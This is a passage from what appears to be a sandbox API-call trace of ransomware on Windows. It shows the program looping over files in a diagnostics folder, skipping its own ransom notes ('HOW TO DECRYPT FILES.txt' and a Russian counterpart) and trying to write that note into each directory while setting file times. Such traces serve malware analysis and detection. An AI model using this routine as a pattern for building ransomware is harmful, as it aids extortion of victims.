returned="C:\\Windows\\diagnostics\\index\\IEBrowseWebDiagnostic.xml" [0125.582] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10814368, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x10814368, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xd68837c3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x9b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="IESecurityDiagnostic.xml", cAlternateFileName="")) returned 1 [0125.583] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0125.583] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="IESecurityDiagnostic.xml") returned -1 [0125.583] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="IESecurityDiagnostic.xml") returned -1 [0125.583] lstrcmpiA (lpString1="", lpString2="IESecurityDiagnostic.xml") returned -1 [0125.583] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\index\\IEBrowseWebDiagnostic.xml") returned="IEBrowseWebDiagnostic.xml" [0125.583] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\index\\" | out: lpString1="C:\\Windows\\diagnostics\\index\\") returned="C:\\Windows\\diagnostics\\index\\" [0125.583] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\index\\" | out: pszPath="C:\\Windows\\diagnostics\\index\\") returned="" [0125.583] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\index\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\index\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\index\\HOW TO DECRYPT FILES.txt" [0125.583] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\index\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\index\\how to decrypt files.txt")) returned 0xffffffff [0125.583] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\index\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\index\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.583] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.583] CloseHandle (hObject=0xffffffff) returned 0 [0125.583] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\index\\", lpString2="IESecurityDiagnostic.xml" | out: lpString1="C:\\Windows\\diagnostics\\index\\IESecurityDiagnostic.xml") returned="C:\\Windows\\diagnostics\\index\\IESecurityDiagnostic.xml" [0125.584] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x116a8902, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x116a8902, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xd735fb91, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x665, dwReserved0=0x0, dwReserved1=0x0, cFileName="MaintenanceDiagnostic.xml", cAlternateFileName="")) returned 1 [0125.584] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0125.584] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MaintenanceDiagnostic.xml") returned -1 [0125.584] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MaintenanceDiagnostic.xml") returned -1 [0125.584] lstrcmpiA (lpString1="", lpString2="MaintenanceDiagnostic.xml") returned -1 [0125.584] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\index\\IESecurityDiagnostic.xml") returned="IESecurityDiagnostic.xml" [0125.584] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\index\\" | out: lpString1="C:\\Windows\\diagnostics\\index\\") returned="C:\\Windows\\diagnostics\\index\\" [0125.584] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\index\\" | out: pszPath="C:\\Windows\\diagnostics\\index\\") returned="" [0125.584] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\index\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\index\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\index\\HOW TO DECRYPT FILES.txt" [0125.584] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\index\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\index\\how to decrypt files.txt")) returned 0xffffffff [0125.584] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\index\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\index\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.585] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.585] CloseHandle (hObject=0xffffffff) returned 0 [0125.585] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\index\\", lpString2="MaintenanceDiagnostic.xml" | out: lpString1="C:\\Windows\\diagnostics\\index\\MaintenanceDiagnostic.xml") returned="C:\\Windows\\diagnostics\\index\\MaintenanceDiagnostic.xml" [0125.585] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cf73e3a, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x1cf73e3a, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xeed9bc25, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x757, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetworkDiagnostics_1_Web.xml", cAlternateFileName="")) returned 1 [0125.585] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0125.585] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="NetworkDiagnostics_1_Web.xml") returned -1 [0125.585] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="NetworkDiagnostics_1_Web.xml") returned -1 [0125.585] lstrcmpiA (lpString1="", lpString2="NetworkDiagnostics_1_Web.xml") returned -1 [0125.585] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\index\\MaintenanceDiagnostic.xml") returned="MaintenanceDiagnostic.xml" [0125.585] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\index\\" | out: lpString1="C:\\Windows\\diagnostics\\index\\") returned="C:\\Windows\\diagnostics\\index\\" [0125.585] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\index\\" | out: pszPath="C:\\Windows\\diagnostics\\index\\") returned="" [0125.585] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\index\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\index\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\index\\HOW TO DECRYPT FILES.txt" [0125.585] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\index\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\index\\how to decrypt files.txt")) returned 0xffffffff [0125.586] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\index\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\index\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.586] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.586] CloseHandle (hObject=0xffffffff) returned 0 [0125.586] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\index\\", lpString2="NetworkDiagnostics_1_Web.xml" | out: lpString1="C:\\Windows\\diagnostics\\index\\NetworkDiagnostics_1_Web.xml") returned="C:\\Windows\\diagnostics\\index\\NetworkDiagnostics_1_Web.xml" [0125.586] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cf01a23, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x1cf01a23, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xee88cda9, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x828, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetworkDiagnostics_2_FileShare.xml", cAlternateFileName="")) returned 1 [0125.586] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0125.586] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="NetworkDiagnostics_2_FileShare.xml") returned -1 [0125.586] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="NetworkDiagnostics_2_FileShare.xml") returned -1 [0125.586] lstrcmpiA (lpString1="", lpString2="NetworkDiagnostics_2_FileShare.xml") returned -1 [0125.586] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\index\\NetworkDiagnostics_1_Web.xml") returned="NetworkDiagnostics_1_Web.xml" [0125.587] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\index\\" | out: lpString1="C:\\Windows\\diagnostics\\index\\") returned="C:\\Windows\\diagnostics\\index\\" [0125.587] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\index\\" | out: pszPath="C:\\Windows\\diagnostics\\index\\") returned="" [0125.587] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\index\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\index\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\index\\HOW TO DECRYPT FILES.txt" [0125.587] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\index\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\index\\how to decrypt files.txt")) returned 0xffffffff [0125.587] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\index\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\index\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.587] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.587] CloseHandle (hObject=0xffffffff) returned 0 [0125.587] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\index\\", lpString2="NetworkDiagnostics_2_FileShare.xml" | out: lpString1="C:\\Windows\\diagnostics\\index\\NetworkDiagnostics_2_FileShare.xml") returned="C:\\Windows\\diagnostics\\index\\NetworkDiagnostics_2_FileShare.xml" [0125.588] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1234dce3, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x1234dce3, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xd1b7338f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x574, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetworkDiagnostics_3_HomeGroup.xml", cAlternateFileName="")) returned 1 [0125.588] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0125.588] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="NetworkDiagnostics_3_HomeGroup.xml") returned -1 [0125.588] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="NetworkDiagnostics_3_HomeGroup.xml") returned -1 [0125.588] lstrcmpiA (lpString1="", lpString2="NetworkDiagnostics_3_HomeGroup.xml") returned -1 [0125.588] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\index\\NetworkDiagnostics_2_FileShare.xml") returned="NetworkDiagnostics_2_FileShare.xml" [0125.588] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\index\\" | out: lpString1="C:\\Windows\\diagnostics\\index\\") returned="C:\\Windows\\diagnostics\\index\\" [0125.588] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\index\\" | out: pszPath="C:\\Windows\\diagnostics\\index\\") returned="" [0125.588] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\index\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\index\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\index\\HOW TO DECRYPT FILES.txt" [0125.588] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\index\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\index\\how to decrypt files.txt")) returned 0xffffffff [0125.588] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\index\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\index\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.589] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.589] CloseHandle (hObject=0xffffffff) returned 0 [0125.589] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\index\\", lpString2="NetworkDiagnostics_3_HomeGroup.xml" | out: lpString1="C:\\Windows\\diagnostics\\index\\NetworkDiagnostics_3_HomeGroup.xml") returned="C:\\Windows\\diagnostics\\index\\NetworkDiagnostics_3_HomeGroup.xml" [0125.589] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cf4dcdd, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x1cf4dcdd, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xee8d9065, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x6c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetworkDiagnostics_4_NetworkAdapter.xml", cAlternateFileName="")) returned 1 [0125.589] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0125.589] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="NetworkDiagnostics_4_NetworkAdapter.xml") returned -1 [0125.589] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="NetworkDiagnostics_4_NetworkAdapter.xml") returned -1 [0125.589] lstrcmpiA (lpString1="", lpString2="NetworkDiagnostics_4_NetworkAdapter.xml") returned -1 [0125.589] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\index\\NetworkDiagnostics_3_HomeGroup.xml") returned="NetworkDiagnostics_3_HomeGroup.xml" [0125.589] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\index\\" | out: lpString1="C:\\Windows\\diagnostics\\index\\") returned="C:\\Windows\\diagnostics\\index\\" [0125.589] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\index\\" | out: pszPath="C:\\Windows\\diagnostics\\index\\") returned="" [0125.589] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\index\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\index\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\index\\HOW TO DECRYPT FILES.txt" [0125.589] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\index\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\index\\how to decrypt files.txt")) returned 0xffffffff [0125.590] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\index\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\index\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.590] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.590] CloseHandle (hObject=0xffffffff) returned 0 [0125.590] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\index\\", lpString2="NetworkDiagnostics_4_NetworkAdapter.xml" | out: lpString1="C:\\Windows\\diagnostics\\index\\NetworkDiagnostics_4_NetworkAdapter.xml") returned="C:\\Windows\\diagnostics\\index\\NetworkDiagnostics_4_NetworkAdapter.xml" [0125.590] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cf27b80, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x1cf27b80, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xee8b2f07, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x8d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetworkDiagnostics_5_Inbound.xml", cAlternateFileName="")) returned 1 [0125.590] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0125.590] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="NetworkDiagnostics_5_Inbound.xml") returned -1 [0125.590] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="NetworkDiagnostics_5_Inbound.xml") returned -1 [0125.590] lstrcmpiA (lpString1="", lpString2="NetworkDiagnostics_5_Inbound.xml") returned -1 [0125.591] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\index\\NetworkDiagnostics_4_NetworkAdapter.xml") returned="NetworkDiagnostics_4_NetworkAdapter.xml" [0125.591] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\index\\" | out: lpString1="C:\\Windows\\diagnostics\\index\\") returned="C:\\Windows\\diagnostics\\index\\" [0125.591] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\index\\" | out: pszPath="C:\\Windows\\diagnostics\\index\\") returned="" [0125.591] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\index\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\index\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\index\\HOW TO DECRYPT FILES.txt" [0125.591] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\index\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\index\\how to decrypt files.txt")) returned 0xffffffff [0125.591] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\index\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\index\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.591] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.591] CloseHandle (hObject=0xffffffff) returned 0 [0125.591] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\index\\", lpString2="NetworkDiagnostics_5_Inbound.xml" | out: lpString1="C:\\Windows\\diagnostics\\index\\NetworkDiagnostics_5_Inbound.xml") returned="C:\\Windows\\diagnostics\\index\\NetworkDiagnostics_5_Inbound.xml" [0125.592] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10860622, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x10860622, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xd7717dbf, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x7a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="PCWDiagnostic.xml", cAlternateFileName="")) returned 1 [0125.592] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0125.592] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PCWDiagnostic.xml") returned -1 [0125.592] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PCWDiagnostic.xml") returned -1 [0125.592] lstrcmpiA (lpString1="", lpString2="PCWDiagnostic.xml") returned -1 [0125.592] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\index\\NetworkDiagnostics_5_Inbound.xml") returned="NetworkDiagnostics_5_Inbound.xml" [0125.592] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\index\\" | out: lpString1="C:\\Windows\\diagnostics\\index\\") returned="C:\\Windows\\diagnostics\\index\\" [0125.592] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\index\\" | out: pszPath="C:\\Windows\\diagnostics\\index\\") returned="" [0125.592] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\index\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\index\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\index\\HOW TO DECRYPT FILES.txt" [0125.592] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\index\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\index\\how to decrypt files.txt")) returned 0xffffffff [0125.592] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\index\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\index\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.593] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.593] CloseHandle (hObject=0xffffffff) returned 0 [0125.593] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\index\\", lpString2="PCWDiagnostic.xml" | out: lpString1="C:\\Windows\\diagnostics\\index\\PCWDiagnostic.xml") returned="C:\\Windows\\diagnostics\\index\\PCWDiagnostic.xml" [0125.593] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10ec60c1, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x10ec60c1, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xd7eae379, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x785, dwReserved0=0x0, dwReserved1=0x0, cFileName="PerformanceDiagnostic.xml", cAlternateFileName="")) returned 1 [0125.593] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0125.593] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PerformanceDiagnostic.xml") returned -1 [0125.593] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PerformanceDiagnostic.xml") returned -1 [0125.593] lstrcmpiA (lpString1="", lpString2="PerformanceDiagnostic.xml") returned -1 [0125.594] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\index\\PCWDiagnostic.xml") returned="PCWDiagnostic.xml" [0125.594] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\index\\" | out: lpString1="C:\\Windows\\diagnostics\\index\\") returned="C:\\Windows\\diagnostics\\index\\" [0125.594] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\index\\" | out: pszPath="C:\\Windows\\diagnostics\\index\\") returned="" [0125.594] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\index\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\index\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\index\\HOW TO DECRYPT FILES.txt" [0125.594] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\index\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\index\\how to decrypt files.txt")) returned 0xffffffff [0125.594] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\index\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\index\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.594] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.594] CloseHandle (hObject=0xffffffff) returned 0 [0125.594] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\index\\", lpString2="PerformanceDiagnostic.xml" | out: lpString1="C:\\Windows\\diagnostics\\index\\PerformanceDiagnostic.xml") returned="C:\\Windows\\diagnostics\\index\\PerformanceDiagnostic.xml" [0125.595] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119c85a3, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x119c85a3, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xd82d89c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x72a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerDiagnostic.xml", cAlternateFileName="")) returned 1 [0125.595] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0125.595] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PowerDiagnostic.xml") returned -1 [0125.595] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PowerDiagnostic.xml") returned -1 [0125.595] lstrcmpiA (lpString1="", lpString2="PowerDiagnostic.xml") returned -1 [0125.595] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\index\\PerformanceDiagnostic.xml") returned="PerformanceDiagnostic.xml" 